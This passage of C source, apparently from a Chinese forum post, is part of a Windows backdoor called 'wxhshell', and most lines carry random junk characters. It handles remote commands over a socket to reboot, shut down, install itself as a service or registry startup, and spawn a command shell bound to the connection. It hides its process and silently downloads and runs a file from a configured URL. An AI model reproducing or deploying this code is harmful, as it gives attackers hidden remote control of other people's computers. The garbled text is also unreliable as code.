  else { mne=9/sE"  
n./onv  
    switch(cmd[0]) { E Fx@O  
  y ~ A]  
  // 帮助 DfCo=  
  case '?': { W*xz 0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nFn@Z'T$N  
    break; +r+H`cT@  
  } b7:B[7yK.x  
  // 安装 I+Q`i:\,q  
  case 'i': { :X`Bc"  
    if(Install()) F+`DfI]/m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3??*G8Yp  
    else om"q[Tudc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m*h, <,}-+  
    break; Zh WtY  
    } # Z*nc0C  
  // 卸载 a?IL6$z  
  case 'r': { K_J o^BZ  
    if(Uninstall()) Xj\SJ*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o'3t(dyyH  
    else i8`&XGEd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3huT T"G  
    break; J!@$lyH  
    } 6c3+q+#J2  
  // 显示 wxhshell 所在路径 ZcXqH7`r  
  case 'p': { eKL)jzC:  
    char svExeFile[MAX_PATH]; HgwL~vG  
    strcpy(svExeFile,"\n\r"); 5O9Oi:-!c  
      strcat(svExeFile,ExeFile); _J51 :pi  
        send(wsh,svExeFile,strlen(svExeFile),0); HHbkR2H1  
    break; L7jMpz&  
    } RoXU>a:nS  
  // 重启 "-N)TIzLX  
  case 'b': { 9's/~T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w@P c7$EP  
    if(Boot(REBOOT)) (YjY=F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uv6#d":f;  
    else { W`C&$v#  
    closesocket(wsh); a$c7d~p$I  
    ExitThread(0); sa~.qmqu  
    } t-\S/N  
    break; K/ q:aMq  
    } urHQb5|T}  
  // 关机 Zcg=a_  
  case 'd': { )>)_>[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ah_'.r1<P9  
    if(Boot(SHUTDOWN)) #]ii/Et#x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Rl?Pp=>  
    else { %aX<p{EY  
    closesocket(wsh); BPnZ"w_  
    ExitThread(0); - v9V/LJ  
    } $cev,OW6]  
    break; {PHxm  
    } =>6Z"LD(  
  // 获取shell /q %TjQ}F  
  case 's': { .E_`*[ 5=  
    CmdShell(wsh); K \}xb2s  
    closesocket(wsh); ?K7m:Dx  
    ExitThread(0); nTSGcMI  
    break; %D z|p]49!  
  } %ma1LN[  
  // 退出 XcA4EBRj  
  case 'x': { E'LkoyI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l}X3uy S  
    CloseIt(wsh); t-SGG{  
    break; Rww"Z=F  
    } r+HJ_R,5A  
  // 离开 &X^~%\F:2  
  case 'q': { >Lanuv)O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `xkJ.,#Io  
    closesocket(wsh); kTG}>I  
    WSACleanup(); r]'AdJFt  
    exit(1); \z8TYx@  
    break; `S Wf)1K  
        } \O?#gW\tR  
  } kX {c+qHM  
  } ~ K^Z4  
&hs)}uM&$  
  // 提示信息 GZ@!jF>!u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pTmG\wA~$  
} +D1;_DU  
  } R+Ke|C  
l\5qa_{z  
  return; mxjY-Kq  
} XH)MBr@Fz  
lp?geav  
// shell模块句柄 2o/}GIKj  
int CmdShell(SOCKET sock) W.o W =<  
{ FFtj5e  
STARTUPINFO si; G:' -|h  
ZeroMemory(&si,sizeof(si)); THK)G2 =  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ms3Ec`i9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vVKiE 6^  
PROCESS_INFORMATION ProcessInfo; 1O9V Ej5  
char cmdline[]="cmd"; e )\s0#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ~J"*ahl  
  return 0; GVY_u@6   
} T:wd3^.CG  
eUqsvF}l!  
// 自身启动模式 &cDnZ3Q;  
int StartFromService(void) RXgi>Hz  
{ Q=~e|  
typedef struct Oa7`Y`6  
{ oHu0] XA  
  DWORD ExitStatus; 2NsI3M4$8  
  DWORD PebBaseAddress; (a`z:dz}  
  DWORD AffinityMask; k  `.-PU  
  DWORD BasePriority; M&@9B)|=  
  ULONG UniqueProcessId; Abce]-E  
  ULONG InheritedFromUniqueProcessId; WJe  
}   PROCESS_BASIC_INFORMATION; 34]f[jJ|  
ZWmmFKFG.  
PROCNTQSIP NtQueryInformationProcess; BWL~)Hx  
'fcJ]%-=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $9*Xfb/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L3X>v3CZ5  
ykl./uY'  
  HANDLE             hProcess; ]=q?= %H  
  PROCESS_BASIC_INFORMATION pbi; |...T 4:^Y  
w{K_+}fAC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GC$Hp!H  
  if(NULL == hInst ) return 0; )F]E[sga  
|? ?uVA)\X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5`6@CRef  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2#6yO`?uo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b)$<aFl  
Tp[ub(/;7  
  if (!NtQueryInformationProcess) return 0; Y4! v1  
QS_" fsyN:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X,x{!  
  if(!hProcess) return 0; yZ6560(q  
Q?7U iTZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SMqJMirR  
.0.Ha}{6b  
  CloseHandle(hProcess); gGe `w  
aQ]C`9k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `<y2l94tL  
if(hProcess==NULL) return 0; a,M7Bb x  
<G\q/!@_  
HMODULE hMod; cRT@Cu  
char procName[255]; IR(JBB|xNQ  
unsigned long cbNeeded; GJ ZT~  
QF'N8Kla  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [P)HVFy|l  
8_8 R$ =V  
  CloseHandle(hProcess); ?J6J#{LRd  
Z!~~6Sq  
if(strstr(procName,"services")) return 1; // 以服务启动 CdatN$/*  
ga6M8eOI  
  return 0; // 注册表启动 ~e ]83?  
} m}Kn!21  
5RI"g f  
// 主模块 <.s[x~b\`  
int StartWxhshell(LPSTR lpCmdLine) vDv:3qN7(  
{ a0CmCv2#  
  SOCKET wsl; ArbfA~jXB  
BOOL val=TRUE; cZZ-K?_  
  int port=0; FuLP{]Y+AM  
  struct sockaddr_in door;  9'\18_w  
:)cPc7$8  
  if(wscfg.ws_autoins) Install(); wC`])z}bT  
pDCQ?VW  
port=atoi(lpCmdLine); <i%.bfQ/-  
+ Q}Y?([  
if(port<=0) port=wscfg.ws_port; mcpM<vY/H  
c3Y\XzV3v  
  WSADATA data; b,]h X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^4_.5~(  
~*- eL.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E Rqr0>x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |.)oV;9  
  door.sin_family = AF_INET; arrNx|y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JN$v=Ox{  
  door.sin_port = htons(port); 2j Oh~-LU  
U<KvKg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AWi~qzTZ  
closesocket(wsl); \=XAl >}\  
return 1; t(/e~w  
} b Zn:q[7  
8uchp  
  if(listen(wsl,2) == INVALID_SOCKET) { xCEEv5(5  
closesocket(wsl); i~MCY.F  
return 1; # ~} 26  
} r-9P&*1  
  Wxhshell(wsl); O3j:Y|N@F  
  WSACleanup(); im Zi7o  
B ;9^  
return 0; _ohZTT%l  
V; Yl:*  
} Gvb>M=9  
.Xc, Gq{  
// 以NT服务方式启动 9H_2Y%_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8&IsZPq%l  
{ h*Rh:yCR>  
DWORD   status = 0; *}-X '_  
  DWORD   specificError = 0xfffffff; I_6?Q^_uZ  
<_dyUiT$J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yo/U/dB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \|F4@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hJ (Q^Z  
  serviceStatus.dwWin32ExitCode     = 0; 5IOOVYl  
  serviceStatus.dwServiceSpecificExitCode = 0; `|X E B  
  serviceStatus.dwCheckPoint       = 0; [V|,O'X ~  
  serviceStatus.dwWaitHint       = 0; rh5R kiF~  
lF2im5nZ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >8"oO[U5>  
  if (hServiceStatusHandle==0) return; r1\c{5Wt  
'nz;|6uC  
status = GetLastError(); #5wOgOv  
  if (status!=NO_ERROR) d(3F:dbk  
{ X*KQWs.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X|TEeE c[L  
    serviceStatus.dwCheckPoint       = 0; 9TIyY`2!  
    serviceStatus.dwWaitHint       = 0; ,^pM]+NF|  
    serviceStatus.dwWin32ExitCode     = status; %[u6<  
    serviceStatus.dwServiceSpecificExitCode = specificError; Kyt.[" p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !hrXud=#"  
    return; 9%S{fd\#  
  } W2D^%;mw  
x1:+M]Da  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HgvgO\`]  
  serviceStatus.dwCheckPoint       = 0; cv=nGFx6  
  serviceStatus.dwWaitHint       = 0; ! @{rk p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZR.1SA0x?O  
} :9Zu&t  
5+vCuVZ  
// 处理NT服务事件,比如:启动、停止  }fpK{db  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x#-uf  
{ b'Pq [ )  
switch(fdwControl) ]( V+ qj  
{ 1L]7*NJe  
case SERVICE_CONTROL_STOP: R7;SZo  
  serviceStatus.dwWin32ExitCode = 0; M$DJ$G|Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *%l&'+   
  serviceStatus.dwCheckPoint   = 0; zpV@{%VSj  
  serviceStatus.dwWaitHint     = 0; 9I0/KuZd O  
  { :y==O4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]sjYxe  
  } ^m;dEe&@F  
  return; ` wuA}v3!  
case SERVICE_CONTROL_PAUSE: \{AxDk{z#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3UU]w`At  
  break; o,[~7N  
case SERVICE_CONTROL_CONTINUE: #H{<nVvg^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JZ  Qkr  
  break; ] e!CH <N  
case SERVICE_CONTROL_INTERROGATE: c9-$t d&  
  break; f{xR s-u]  
}; EAn}8#r'(8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >y mMQEX`  
} U_v{Vs  
/+l3 BeL  
// 标准应用程序主函数 S+3'C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %Fig`qX  
{ )^7Y^u e  
sDT(3{)L7  
// 获取操作系统版本 0,)B~|+  
OsIsNt=GetOsVer(); W{O:j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8J{I6nPF  
8>S"aHt 7  
  // 从命令行安装 L&=j O0_  
  if(strpbrk(lpCmdLine,"iI")) Install(); A`v(hBM  
%VOn;_Q*B  
  // 下载执行文件 F]]np&UV.  
if(wscfg.ws_downexe) { gYVk5d|8@4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GE]fBg  
  WinExec(wscfg.ws_filenam,SW_HIDE); Bj09?#~[  
} &sR=N60n  
sfNXIEr^  
if(!OsIsNt) { AVVL]9b_2  
// 如果时win9x,隐藏进程并且设置为注册表启动 A"x1MjuqLM  
HideProc(); gvvl3`S{  
StartWxhshell(lpCmdLine); zvf:*Na")  
} ;F9<Yv  
else b }S}OW2  
  if(StartFromService()) #mlTN3   
  // 以服务方式启动 i#$9>X  
  StartServiceCtrlDispatcher(DispatchTable); -FytkM^]6  
else + 5H9mk  
  // 普通方式启动 u +q}9  
  StartWxhshell(lpCmdLine); 8:;_MBt  
?jbE3fW  
return 0; b/Y9fQ n  
}
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只看该作者 1 发表于: 2006-10-10
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